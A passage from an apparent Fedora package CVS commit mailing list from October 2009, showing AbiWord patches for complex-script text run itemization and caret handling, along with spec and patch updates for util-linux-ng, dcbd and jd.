-	{
-		m_pRenderInfo->m_iLength = iMyLen;
-		pNext->m_pRenderInfo->m_iLength = iNextLen;
-		
-		if(!m_pRenderInfo->append(*(pNext->m_pRenderInfo), bReverse))
-		{
-			// either the graphics class does not have append capabilities, or the append failed
-			// -- we mark the draw buffer for recalculation
-			_setRefreshDrawBuffer(GRSR_Unknown);
-		}
-		
-	}
-	
-
-	_setLength(iMyLen + iNextLen);
+	_setLength(getLength() + pNext->getLength());
+	DELETEP(m_pRenderInfo);
+	m_pRenderInfo = NULL;
+	itemize();
 	_setDirty(isDirty() || pNext->isDirty());
 
 	setNextRun(pNext->getNextRun(), false);
@@ -1173,28 +1122,12 @@ void fp_TextRun::mergeWithNext(void)
 	}
 
 	pNext->getLine()->removeRun(pNext, false);
-
-	// if appending a strong run onto a weak one, make sure the overall direction
-	// is that of the strong run, and tell the line about this, since the call
-	// to removeRun above decreased the line's direction counter
-	if(!UT_BIDI_IS_STRONG(_getDirection()) && UT_BIDI_IS_STRONG(pNext->_getDirection()))
-	{
-		_setDirection(pNext->_getDirection());
-		getLine()->addDirectionUsed(_getDirection());
-	}
-	else if(UT_BIDI_IS_WEAK(_getDirection()) && UT_BIDI_IS_WEAK(pNext->_getDirection()))
-	{
-		// numbers will take precedence
-		if(UT_BIDI_IS_NUMBER(pNext->_getDirection()))
-		{
-			_setDirection(pNext->_getDirection());
-			// no need to inform the line, since the visual direction
-			// is not going to change
-		}
-	}
+	lookupProperties();
 	setMustClearScreen();
+	markDrawBufferDirty();
 
 	delete pNext;
+
 }
 
 bool fp_TextRun::split(UT_uint32 iSplitOffset)
@@ -1210,10 +1143,6 @@ bool fp_TextRun::split(UT_uint32 iSplitO
 
 	UT_ASSERT(pNew);
 
-	// when spliting the run, we do not want to recalculated the draw
-	// buffer if the current one is up to date
-	pNew->_setRefreshDrawBuffer(_getRefreshDrawBuffer());
-
 	pNew->_setFont(this->_getFont());
 
 	pNew->_setDecorations(this->_getDecorations());
@@ -1263,74 +1192,23 @@ bool fp_TextRun::split(UT_uint32 iSplitO
 	}
 	setNextRun(pNew, false);
 
-	// split the rendering info, this will save us refreshing it
-	// which is very expensive (see notes on the mergeWithNext())
-	bool bReverse = ((!s_bBidiOS && iVisDirection == UT_BIDI_RTL)
-			 || (s_bBidiOS && m_iDirOverride == UT_BIDI_RTL && _getDirection() == UT_BIDI_LTR)
-			 || (s_bBidiOS && m_iDirOverride == UT_BIDI_LTR && _getDirection() == UT_BIDI_RTL));
-
-	// runs can be split even before any shaping has been done on the, in which case we do not have
-	// the redering info yet; in such cases we only have m_pItem
-	bool bSplitSucceeded = true;
-	
-	if(m_pRenderInfo)
-	{
-		m_pRenderInfo->m_pGraphics = getGraphics();
-		m_pRenderInfo->m_pFont = getFont();
-		m_pRenderInfo->m_iLength = getLength();
-		m_pRenderInfo->m_iOffset = iSplitOffset - getBlockOffset();
-		if(!m_pRenderInfo->split(pNew->m_pRenderInfo, bReverse))
-		{
-			// the graphics class is either incapable of spliting, or the operation failed
-			// we need to mark both runs for shaping
-			_setRefreshDrawBuffer(GRSR_Unknown);
-			pNew->_setRefreshDrawBuffer(GRSR_Unknown);
-			bSplitSucceeded = false;
-		}
-		
-
-		// the split function created a copy of GR_Item in the render
-		// info; bring the member into sync with it (m_pItem is where the GR_Item lives and where it
-		// is destroyed)
-		if(pNew->m_pRenderInfo)
-		{
-			pNew->m_pItem = pNew->m_pRenderInfo->m_pItem;
-		}
-	}
-	else
-	{
-		// if this assert falls, we are in real trouble ...
-		UT_ASSERT_HARMLESS( m_pItem );
-		if(m_pItem)
-		{
-			pNew->m_pItem = m_pItem->makeCopy();
-		}
-	}
-	
-	
+	// reitemize this run and blow away all the old render info. It has to be
+	// recalculated.
 
-	
 	setLength(iSplitOffset - getBlockOffset(), false);
+	DELETEP(m_pRenderInfo);
+	itemize();
+	lookupProperties();
+	// Reitemize the new run
+	pNew->itemize();
 
 	if(getLine())
 		getLine()->insertRunAfter(pNew, this);
 
-	// we will use the _addupCharWidths() function here instead of recalcWidth(), since when
-	// a run is split the info in the block's char-width array is not affected, so we do not
 	//have to recalculate these
 
-	if(bSplitSucceeded)
-	{
-		_addupCharWidths();
-		pNew->_addupCharWidths();
-	}
-	else
-	{
-		recalcWidth();
-		pNew->recalcWidth();
-	}
-	
-
+	recalcWidth();
+	pNew->recalcWidth();
 
 	//bool bDomDirection = getBlock()->getDominantDirection();
 
@@ -1345,7 +1223,6 @@ bool fp_TextRun::split(UT_uint32 iSplitO
 	}
 
 	pNew->_setY(getY());
-
 	return true;
 }
 
@@ -2835,6 +2712,28 @@ UT_sint32 fp_TextRun::getStr(UT_UCSChar 
 	return -1;
 }
 
+void fp_TextRun::itemize(void)
+{
+	GR_Itemization I;
+	bool b = getBlock()->itemizeSpan(getBlockOffset(), getLength(),I);
+	UT_return_if_fail(b);
+	//
+	// Should only be one item per run
+	//
+	GR_Item * pItem = I.getNthItem(0)->makeCopy();
+	UT_return_if_fail(pItem);
+	setItem(pItem->makeCopy());
+}
+
+void fp_TextRun::setItem(GR_Item * i)
+{
+	DELETEP(m_pItem);
+	m_pItem =i;
+	if(m_pRenderInfo)
+	{
+		m_pRenderInfo->m_pItem = m_pItem;
+	}
+}
 
 void fp_TextRun::setDirection(UT_BidiCharType dir, UT_BidiCharType dirOverride)
 {
Index: src/text/fmt/xp/fp_Line.cpp
===================================================================
--- src/text/fmt/xp/fp_Line.cpp.orig
+++ src/text/fmt/xp/fp_Line.cpp
@@ -3121,8 +3121,12 @@ void fp_Line::coalesceRuns(void)
 		if (pRun->getType() == FPRUN_TEXT)
 		{
 			fp_TextRun* pTR = static_cast<fp_TextRun *>(pRun);
+			xxx_UT_DEBUGMSG(("Looking at %d Text run \n",i));
+			pTR->printText();
 			if (pTR->canMergeWithNext())
 			{
+			        xxx_UT_DEBUGMSG(("Can merge \n"));
+				//pTR->printText();
 			        fp_Run * pNext = pRun->getNextRun();
 				//
 				// Look if we have a redundant fmtMark.
Index: src/text/fmt/xp/fp_TextRun.h
===================================================================
--- src/text/fmt/xp/fp_TextRun.h.orig
+++ src/text/fmt/xp/fp_TextRun.h
@@ -108,7 +108,8 @@ public:
 												  | (UT_uint32)eR);
 	                      }
 
-	void                setItem(GR_Item * i) {m_pItem = i;}
+	void                itemize(void);
+	void                setItem(GR_Item * i);
 	const GR_Item *           getItem() const {return m_pItem;}
 	
 
Index: src/text/fmt/xp/fl_BlockLayout.h
===================================================================
--- src/text/fmt/xp/fl_BlockLayout.h.orig
+++ src/text/fmt/xp/fl_BlockLayout.h
@@ -388,6 +388,8 @@ public:
 												UT_UTF8String & sWord,
 												bool bIgnoreSpace);
 
+	bool                   itemizeSpan(PT_BlockOffset blockOffset, UT_uint32 len,GR_Itemization & I);
+
 #ifdef ENABLE_SPELL
 	/** put in queue for spellchecking after prev. If prev == NULL is put at the head */
 	void enqueueToSpellCheckAfter(fl_BlockLayout *prev);

r27632-mix-roman-and-complex.patch:
 fp_TextRun.cpp |   18 ++++++++++++++++++
 fp_TextRun.h   |    1 +
 2 files changed, 19 insertions(+)

--- NEW FILE r27632-mix-roman-and-complex.patch ---
Index: src/text/fmt/xp/fp_TextRun.cpp
===================================================================
--- src/text/fmt/xp/fp_TextRun.cpp.orig
+++ src/text/fmt/xp/fp_TextRun.cpp
@@ -1042,6 +1042,8 @@ bool fp_TextRun::canMergeWithNext(void)
 		    && !(*getRevisions() == *(pNext->getRevisions()))) //
 															   //non-null but different
 		|| (pNext->getVisibility() != getVisibility())
+		// The merge must make just one item
+		|| (!isOneItem(pNext))
 
 #if 0
 		// I do not think this should happen at all
@@ -2712,6 +2714,22 @@ UT_sint32 fp_TextRun::getStr(UT_UCSChar 
 	return -1;
 }
 
+/*!
+ * Returns if this run plus the next can be combined to make one contiguous 
+ * item
+ */
+bool fp_TextRun::isOneItem(fp_Run * pNext)
+{
+	GR_Itemization I;
+	bool b = getBlock()->itemizeSpan(getBlockOffset(), getLength()+pNext->getLength(),I);
+	UT_return_val_if_fail(b,false);
+	UT_DEBUGMSG(("Found %d items \n",I.getItemCount()-1));
+	if(I.getItemCount() <= 2)
+	{
+		return true;
+	}
+	return false;
+}
 void fp_TextRun::itemize(void)
 {
 	GR_Itemization I;
Index: src/text/fmt/xp/fp_TextRun.h
===================================================================
--- src/text/fmt/xp/fp_TextRun.h.orig
+++ src/text/fmt/xp/fp_TextRun.h
@@ -65,6 +65,7 @@ public:
 	bool					canMergeWithNext(void);
 	void					mergeWithNext(void);
 	bool                    findFirstNonBlankSplitPoint(fp_RunSplitInfo & splitInfo);
+	bool                    isOneItem(fp_Run * pNext);
 	enum
 	{
 		Calculate_full_width = -1

r27655-fix-script-mixing.patch:
 af/util/xp/ut_string.cpp   |   12 ++++++++++--
 text/fmt/xp/fp_TextRun.cpp |   32 ++++++++++++++++++++++++++++++--
 2 files changed, 40 insertions(+), 4 deletions(-)

--- NEW FILE r27655-fix-script-mixing.patch ---
Index: src/text/fmt/xp/fp_TextRun.cpp
===================================================================
--- src/text/fmt/xp/fp_TextRun.cpp	(revisi?n: 27654)
+++ src/text/fmt/xp/fp_TextRun.cpp	(revisi?n: 27655)
@@ -2779,8 +2779,8 @@
 }
 
 /*!
- * Returns if this run plus the next can be combined to make one contiguous 
- * item
+ * Returns true if this run plus the next can be combined to make 
+ * one contiguous item
  */
 bool fp_TextRun::isOneItem(fp_Run * pNext)
 {
@@ -2790,6 +2790,34 @@
 	UT_DEBUGMSG(("Found %d items \n",I.getItemCount()-1));
 	if(I.getItemCount() <= 2)
 	{
+		//
+		// Now look to see if there is roman text mixed with
+		// Unicode. Can easily happen with numbers or smart quotes
+		//
+		PD_StruxIterator text(getBlock()->getStruxDocHandle(),
+						  getBlockOffset() + fl_BLOCK_STRUX_OFFSET);
+
+		text.setUpperLimit(text.getPosition() + getLength()+ pNext->getLength() - 1);
+		UT_ASSERT_HARMLESS( text.getStatus() == UTIter_OK );
+		bool bFoundRoman = false;
+		bool bFoundUnicode = false;
+		while(text.getStatus() == UTIter_OK)
+	    {
+			UT_UCS4Char c = text.getChar();
+			if(c != ' ' && c <256)
+			{
+				bFoundRoman = true;
+			}
+			else if(c!= ' ' && !UT_isSmartQuotedCharacter(c))
+			{
+				bFoundUnicode = true;
+			}
+			++text;
+		}
+		if(bFoundRoman && bFoundUnicode)
+		{
+			return false;
+		}
 		return true;
 	}
 	return false;
Index: src/af/util/xp/ut_string.cpp
===================================================================
--- src/af/util/xp/ut_string.cpp	(revisi?n: 27654)
+++ src/af/util/xp/ut_string.cpp	(revisi?n: 27655)
@@ -802,8 +802,6 @@
 
 bool UT_isSmartQuotedCharacter(UT_UCSChar c)
 {
-	// TODO:  this is anglo-centric; really need a locale argument or
-	// TODO:  something to get smart quote rules for the rest of the world
 	bool result;
 	switch (c)
 	{
@@ -811,6 +809,16 @@
 	case UCS_RQUOTE:
 	case UCS_LDBLQUOTE:
 	case UCS_RDBLQUOTE:
+	case 0x201a:
+	case 0x201e:
+	case 0x2039:
+	case 0x203a:
+	case 0x300c:
+	case 0x300d:
+	case 0x300e:
+	case 0x300f:
+	case '\"':
+	case '\'':
 		result = true;
 		break;
 	default:

r27656-debug-cleanup.patch:
 fl_BlockLayout.cpp |    2 +-
 fp_Line.cpp        |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE r27656-debug-cleanup.patch ---
Index: src/text/fmt/xp/fl_BlockLayout.cpp
===================================================================
--- src/text/fmt/xp/fl_BlockLayout.cpp.orig
+++ src/text/fmt/xp/fl_BlockLayout.cpp
@@ -1665,7 +1665,7 @@ void fl_BlockLayout::coalesceRuns(void)
 	_assertRunListIntegrity();
 
 #if 1
-	UT_DEBUGMSG(("fl_BlockLayout::coalesceRuns\n"));
+	xxx_UT_DEBUGMSG(("fl_BlockLayout::coalesceRuns\n"));
 	fp_Line* pLine = static_cast<fp_Line *>(getFirstContainer());
 	while (pLine)
 	{
Index: src/text/fmt/xp/fp_Line.cpp
===================================================================
--- src/text/fmt/xp/fp_Line.cpp.orig
+++ src/text/fmt/xp/fp_Line.cpp
@@ -3122,7 +3122,7 @@ void fp_Line::coalesceRuns(void)
 		{
 			fp_TextRun* pTR = static_cast<fp_TextRun *>(pRun);
 			xxx_UT_DEBUGMSG(("Looking at %d Text run \n",i));
-			pTR->printText();
+			//	pTR->printText();
 			if (pTR->canMergeWithNext())
 			{
 			        xxx_UT_DEBUGMSG(("Can merge \n"));

r27660-complex-selections.patch:
 af/gr/unix/gr_UnixPangoGraphics.cpp |    2 +-
 text/fmt/xp/fp_TextRun.cpp          |   22 +++++++++++++++-------
 2 files changed, 16 insertions(+), 8 deletions(-)

--- NEW FILE r27660-complex-selections.patch ---
Index: src/text/fmt/xp/fp_TextRun.cpp
===================================================================
--- src/text/fmt/xp/fp_TextRun.cpp.orig
+++ src/text/fmt/xp/fp_TextRun.cpp
@@ -715,7 +715,7 @@ void fp_TextRun::mapXYToPosition(UT_sint
 			// don't set bBOL to false here
 			bEOL = false;
 		}
-
+		pos += adjustCaretPosition(pos,true);
 		return;
 	}
 
@@ -744,7 +744,7 @@ void fp_TextRun::mapXYToPosition(UT_sint
 			// the correct place to do it.	2001.02.25 jskov
 			bEOL = true;
 		}
-
+		pos += adjustCaretPosition(pos,true);
 		return;
 	}
 
@@ -779,6 +779,7 @@ void fp_TextRun::mapXYToPosition(UT_sint
 
 			bBOL = false;
 			bEOL = false;
+			pos += adjustCaretPosition(pos,true);
 			return;
 		}
 
@@ -812,6 +813,7 @@ void fp_TextRun::mapXYToPosition(UT_sint
 					iLog = getLength() - i;
 				
 				pos = getBlock()->getPosition() + getBlockOffset() + iLog;
+				pos += adjustCaretPosition(pos,true);
 				return;
 			}
 		}
@@ -838,6 +840,7 @@ void fp_TextRun::mapXYToPosition(UT_sint
 		// reset this, so we have no stale pointers there
 		m_pRenderInfo->m_pText = NULL;
 #endif
+		pos = adjustCaretPosition(pos,true);
 		return;
 	}
 	
@@ -853,18 +856,19 @@ void fp_TextRun::findPointCoords(UT_uint
 	UT_sint32 yoff2;
 	UT_sint32 xdiff = 0;
 	xxx_UT_DEBUGMSG(("findPointCoords: Text Run offset %d \n",iOffset));
-
 	if(!m_pRenderInfo || _getRefreshDrawBuffer() == GRSR_Unknown)
 	{
 		// this can happen immediately after run is inserted at the
 		// end of a paragraph.
 		_refreshDrawBuffer();
 	}
-
 	UT_return_if_fail(m_pRenderInfo);
 	
 	UT_return_if_fail(getLine());
 
+	//	UT_uint32 docPos = getBlockOffset() + getBlock()->getPosition() +iOffset;
+	//docPos = adjustCaretPosition(docPos,true);
+	//iOffset = docPos - getBlockOffset() + getBlock()->getPosition();
 	getLine()->getOffsets(this, xoff, yoff);
 
 	if (m_fPosition == TEXT_POSITION_SUPERSCRIPT)
@@ -3274,9 +3278,10 @@ void fp_TextRun::updateOnDelete(UT_uint3
 
 UT_uint32 fp_TextRun::adjustCaretPosition(UT_uint32 iDocumentPosition, bool bForward)
 {
+
 	UT_uint32 iRunOffset = getBlockOffset() + getBlock()->getPosition();
 
-	UT_return_val_if_fail( iDocumentPosition >= iRunOffset && iDocumentPosition < iRunOffset + getLength() &&
+	UT_return_val_if_fail( iDocumentPosition >= iRunOffset && iDocumentPosition <= iRunOffset + getLength() &&
 						   m_pRenderInfo,
 						   iDocumentPosition);
 
@@ -3294,8 +3299,11 @@ UT_uint32 fp_TextRun::adjustCaretPositio
 	m_pRenderInfo->m_pText = &text;
 	m_pRenderInfo->m_iOffset = iDocumentPosition - iRunOffset;
 	m_pRenderInfo->m_iLength = getLength();
-	
-	return iRunOffset + getGraphics()->adjustCaretPosition(*m_pRenderInfo, bForward);
+	UT_uint32 adjustedPos = iRunOffset + getGraphics()->adjustCaretPosition(*m_pRenderInfo, bForward);
+	if((adjustedPos - iRunOffset) > getLength())
+		adjustedPos = iRunOffset + getLength();
+	_refreshDrawBuffer();
+	return adjustedPos;
 }
 
 void fp_TextRun::adjustDeletePosition(UT_uint32 &iDocumentPosition, UT_uint32 &iCount)
Index: src/af/gr/unix/gr_UnixPangoGraphics.cpp
===================================================================
--- src/af/gr/unix/gr_UnixPangoGraphics.cpp.orig
+++ src/af/gr/unix/gr_UnixPangoGraphics.cpp
@@ -2122,7 +2122,7 @@ void GR_UnixPangoGraphics::positionToXY(
 		// withing range of our string
 		pOffset = g_utf8_offset_to_pointer (pUtf8, RI.m_iOffset);
 	}
-	else if(i > 1)
+	else if(i >= 1)
 	{
 		// this is the case where the requested offset is past the end
 		// of our string; we will use the last char; as we have more than one


Index: abiword.spec
===================================================================
RCS file: /cvs/pkgs/rpms/abiword/OLPC-3/abiword.spec,v
retrieving revision 1.71
retrieving revision 1.72
diff -u -p -r1.71 -r1.72
--- abiword.spec	3 Dec 2008 19:31:37 -0000	1.71
+++ abiword.spec	5 Oct 2009 07:19:14 -0000	1.72
@@ -7,7 +7,7 @@
 Summary: The AbiWord word processor
 Name: abiword
 Version: %{majorversion}.%{minorversion}.%{microversion}
-Release: 2%{?dist}
+Release: 3%{?dist}
 Epoch: 1
 Group: Applications/Editors
 License: GPLv2+
@@ -34,6 +34,11 @@ Patch3: abiword-plugins-2.6.0-boolean.pa
 Patch100: abiword-2.6.5-defaultfont.patch
 Patch101: abiword-2.6.4-draghandles.patch
 Patch102: abiword-2.6.4-nohtmloptions.patch
+Patch200: r27631-bug-12283.patch
+Patch201: r27632-mix-roman-and-complex.patch
+Patch202: r27655-fix-script-mixing.patch
+Patch203: r27656-debug-cleanup.patch
+Patch204: r27660-complex-selections.patch
 %endif
 
 BuildRequires: autoconf, libtool
@@ -88,6 +93,11 @@ Includes and definitions for developing 
 %patch100 -p1 -b .defaultfont
 %patch101 -p1 -b .draghandles
 %patch102 -p1 -b .nohtmloptions
+%patch200 -p0
+%patch201 -p0
+%patch202 -p0
+%patch203 -p0
+%patch204 -p0
 %endif
 
 # setup abiword-plugins
@@ -214,6 +224,11 @@ update-desktop-database %{_datadir}/appl
 %{_libdir}/pkgconfig/%{name}-%{majorversion}.%{minorversion}.pc
 
 %changelog
+* Thu Sep 24 2009 Daniel Drake <dsd at laptop.org> - 1:2.6.5-3
+- Add some upstream patches to fix
+  http://bugzilla.abisource.com/show_bug.cgi?id=12283 and
+  http://bugzilla.abisource.com/show_bug.cgi?id=12285
+
 * Wed Dec 03 2008 Marc Maurer <uwog at abisource.com> - 1:2.6.5-2
 - Change the font for Arabic locales to default to 
   DejaVu Sans for better glyph coverage



From kzak at fedoraproject.org  Mon Oct  5 07:25:55 2009
From: kzak at fedoraproject.org (kzak)
Date: Mon,  5 Oct 2009 07:25:55 +0000 (UTC)
Subject: rpms/util-linux-ng/devel util-linux-ng.spec,1.62,1.63
Message-ID: <20091005072555.CB7B911C00DB@cvs1.fedora.phx.redhat.com>

Author: kzak

Update of /cvs/pkgs/rpms/util-linux-ng/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2501

Modified Files:
	util-linux-ng.spec 
Log Message:
* Mon Oct  5 2009 Karel Zak <kzak at redhat.com> 2.16-13
- fix spec file



Index: util-linux-ng.spec
===================================================================
RCS file: /cvs/pkgs/rpms/util-linux-ng/devel/util-linux-ng.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- util-linux-ng.spec	2 Oct 2009 08:46:21 -0000	1.62
+++ util-linux-ng.spec	5 Oct 2009 07:25:54 -0000	1.63
@@ -2,7 +2,7 @@
 Summary: A collection of basic system utilities
 Name: util-linux-ng
 Version: 2.16
-Release: 12%{?dist}
+Release: 13%{?dist}
 License: GPLv2 and GPLv2+ and BSD with advertising and Public Domain
 Group: System Environment/Base
 URL: ftp://ftp.kernel.org/pub/linux/utils/util-linux-ng
@@ -214,6 +214,7 @@ cp %{SOURCE8} %{SOURCE9} .
 %patch10 -p1
 %patch11 -p1
 %patch12 -p1
+%patch13 -p1
 
 %build
 unset LINGUAS || :
@@ -724,6 +725,9 @@ fi
 
 
 %changelog
+* Mon Oct  5 2009 Karel Zak <kzak at redhat.com> 2.16-13
+- fix spec file
+
 * Fri Oct  2 2009 Karel Zak <kzak at redhat.com> 2.16-12
 - release++
 



From jzeleny at fedoraproject.org  Mon Oct  5 07:28:04 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Mon,  5 Oct 2009 07:28:04 +0000 (UTC)
Subject: rpms/dcbd/devel dcbd-0.9.15-lookup-string.patch, 1.1, 1.2 dcbd.spec,
	1.6, 1.7
Message-ID: <20091005072804.C15D611C00DB@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/dcbd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3025

Modified Files:
	dcbd-0.9.15-lookup-string.patch dcbd.spec 
Log Message:
correction of patch fixing the new libconfig issue

dcbd-0.9.15-lookup-string.patch:
 config.c |   17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

Index: dcbd-0.9.15-lookup-string.patch
===================================================================
RCS file: /cvs/extras/rpms/dcbd/devel/dcbd-0.9.15-lookup-string.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- dcbd-0.9.15-lookup-string.patch	20 Aug 2009 12:26:41 -0000	1.1
+++ dcbd-0.9.15-lookup-string.patch	5 Oct 2009 07:28:04 -0000	1.2
@@ -1,20 +1,52 @@
---- dcbd-0.9.15/config.c.orig	2009-08-20 14:07:31.000000000 +0200
-+++ dcbd-0.9.15/config.c	2009-08-20 14:12:08.000000000 +0200
-@@ -367,7 +367,7 @@ static dcb_result _set_persistent(char *
+--- dcbd-0.9.15/config.c.old	2009-10-02 15:38:53.213693022 -0700
++++ dcbd-0.9.15/config.c	2009-10-02 15:39:30.135703553 -0700
+@@ -69,6 +69,8 @@ int init_cfg(void)
+ {
+ 	config_setting_t *root;
+ 
++	config_init(&dcb_cfg);
++
+ 	if (!config_read_file(&dcb_cfg, cfg_file_name)) {
+ 		TRACE("config file failed to load\n")
+ 		TRACE2("error: ", config_error_text(&dcb_cfg))
+@@ -360,16 +362,15 @@ static dcb_result _set_persistent(char *
+ 	config_setting_t *setting_traffic = NULL;
+ 	config_setting_t *setting_value = NULL;
+ 	char abuf[2*DCB_MAX_TLV_LENGTH + 1];
+-	char version[MAX_NAME_LEN];
++	char *p;
+ 	int result, i;
+ 
+ 	if (!init_cfg())
  		goto set_error;
  
  	/* Read config file version */
 -	strcpy(version, config_lookup_string(&dcb_cfg, "version"));
-+	config_lookup_string(&dcb_cfg, "version", &version);
- 	if(NULL != version) {
- 		result = strcmp(version, VERSION);
+-	if(NULL != version) {
+-		result = strcmp(version, VERSION);
++	if (config_lookup_string(&dcb_cfg, "version", (const char **)&p)) {
++		result = strcmp(p, VERSION);
  		if (result) {
-@@ -951,7 +951,7 @@ dcb_result get_persistent(char *device_n
+ 			if (result < 0) {
+ 				/* need to create a new upgraded cfg file */
+@@ -944,17 +945,15 @@ dcb_result get_persistent(char *device_n
+ 	config_setting_t *setting_value = NULL;
+ 	int result = dcb_failed, i;
+ 	int results[MAX_USER_PRIORITIES];
+-	char version[MAX_NAME_LEN];
++	char *p;
+ 	int len;
+ 	char abuf[32];
+ 
  	memset(attribs, 0, sizeof(*attribs));
  
  	/* Read config file version */
 -	strcpy(version, config_lookup_string(&dcb_cfg, "version"));
-+	config_lookup_string(&dcb_cfg, "version", &version);
-  
- 	if(NULL != version) {
- 		result = strcmp(version, VERSION);
+- 
+-	if(NULL != version) {
+-		result = strcmp(version, VERSION);
++	if (config_lookup_string(&dcb_cfg, "version", (const char **)&p)) {
++		result = strcmp(p, VERSION);
+ 		if (result) {
+ 			if (result < 0) {
+ 				/* need to create a new upgraded cfg file */


Index: dcbd.spec
===================================================================
RCS file: /cvs/extras/rpms/dcbd/devel/dcbd.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- dcbd.spec	9 Sep 2009 20:11:43 -0000	1.6
+++ dcbd.spec	5 Oct 2009 07:28:04 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           dcbd
 Version:        0.9.15
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Intel EEDC Connection
 
 Group:          System Environment/Daemons
@@ -92,6 +92,10 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Jan Zeleny <jzeleny at redhat.com> - 0.9.15-5
+- replaced the last patch, which was not fully functional, with
+  the new one
+
 * Wed Sep 09 2009 Karsten Hopp <karsten at redhat.com> 0.9.15-4
 - buildrequire libconfig-devel >= 1.3.2, it doesn't build with 1.3.1 due to
   the different config_lookup_string api



From mtasaka at fedoraproject.org  Mon Oct  5 07:29:38 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Mon,  5 Oct 2009 07:29:38 +0000 (UTC)
Subject: rpms/jd/F-10 .cvsignore, 1.406, 1.407 jd.spec, 1.467, 1.468 sources,
	1.407, 1.408
Message-ID: <20091005072938.6CB5E11C00DB@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3565/F-10

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Mon Oct  5 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3115



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/.cvsignore,v
retrieving revision 1.406
retrieving revision 1.407
diff -u -p -r1.406 -r1.407
--- .cvsignore	3 Oct 2009 18:47:56 -0000	1.406
+++ .cvsignore	5 Oct 2009 07:29:37 -0000	1.407
@@ -1 +1 @@
-jd-2.5.0-svn3111_trunk.tgz
+jd-2.5.0-svn3115_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/jd.spec,v
retrieving revision 1.467
retrieving revision 1.468
diff -u -p -r1.467 -r1.468
--- jd.spec	3 Oct 2009 18:47:56 -0000	1.467
+++ jd.spec	5 Oct 2009 07:29:38 -0000	1.468
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3111_trunk
+%define         strtag        svn3115_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Sun Oct  4 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3111
+* Mon Oct  5 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3115
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/sources,v
retrieving revision 1.407
retrieving revision 1.408
diff -u -p -r1.407 -r1.408
--- sources	3 Oct 2009 18:47:56 -0000	1.407
+++ sources	5 Oct 2009 07:29:38 -0000	1.408
@@ -1 +1 @@
-0ff927675c636363480000c79c99f415  jd-2.5.0-svn3111_trunk.tgz
+11b22a2910a2ee6bacd03e66e9a6615b  jd-2.5.0-svn3115_trunk.tgz



From mtasaka at fedoraproject.org  Mon Oct  5 07:29:38 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Mon,  5 Oct 2009 07:29:38 +0000 (UTC)
Subject: rpms/jd/F-11 .cvsignore, 1.400, 1.401 jd.spec, 1.463, 1.464 sources,
	1.401, 1.402
Message-ID: <20091005072938.C4DAC11C00DB@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3565/F-11

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Mon Oct  5 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3115



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/.cvsignore,v
retrieving revision 1.400
retrieving revision 1.401
diff -u -p -r1.400 -r1.401
--- .cvsignore	3 Oct 2009 18:47:57 -0000	1.400
+++ .cvsignore	5 Oct 2009 07:29:38 -0000	1.401
@@ -1 +1 @@
-jd-2.5.0-svn3111_trunk.tgz
+jd-2.5.0-svn3115_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/jd.spec,v
retrieving revision 1.463
retrieving revision 1.464
diff -u -p -r1.463 -r1.464
--- jd.spec	3 Oct 2009 18:47:57 -0000	1.463
+++ jd.spec	5 Oct 2009 07:29:38 -0000	1.464
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3111_trunk
+%define         strtag        svn3115_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Sun Oct  4 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3111
+* Mon Oct  5 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3115
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/sources,v
retrieving revision 1.401
retrieving revision 1.402
diff -u -p -r1.401 -r1.402
--- sources	3 Oct 2009 18:47:57 -0000	1.401
+++ sources	5 Oct 2009 07:29:38 -0000	1.402
@@ -1 +1 @@
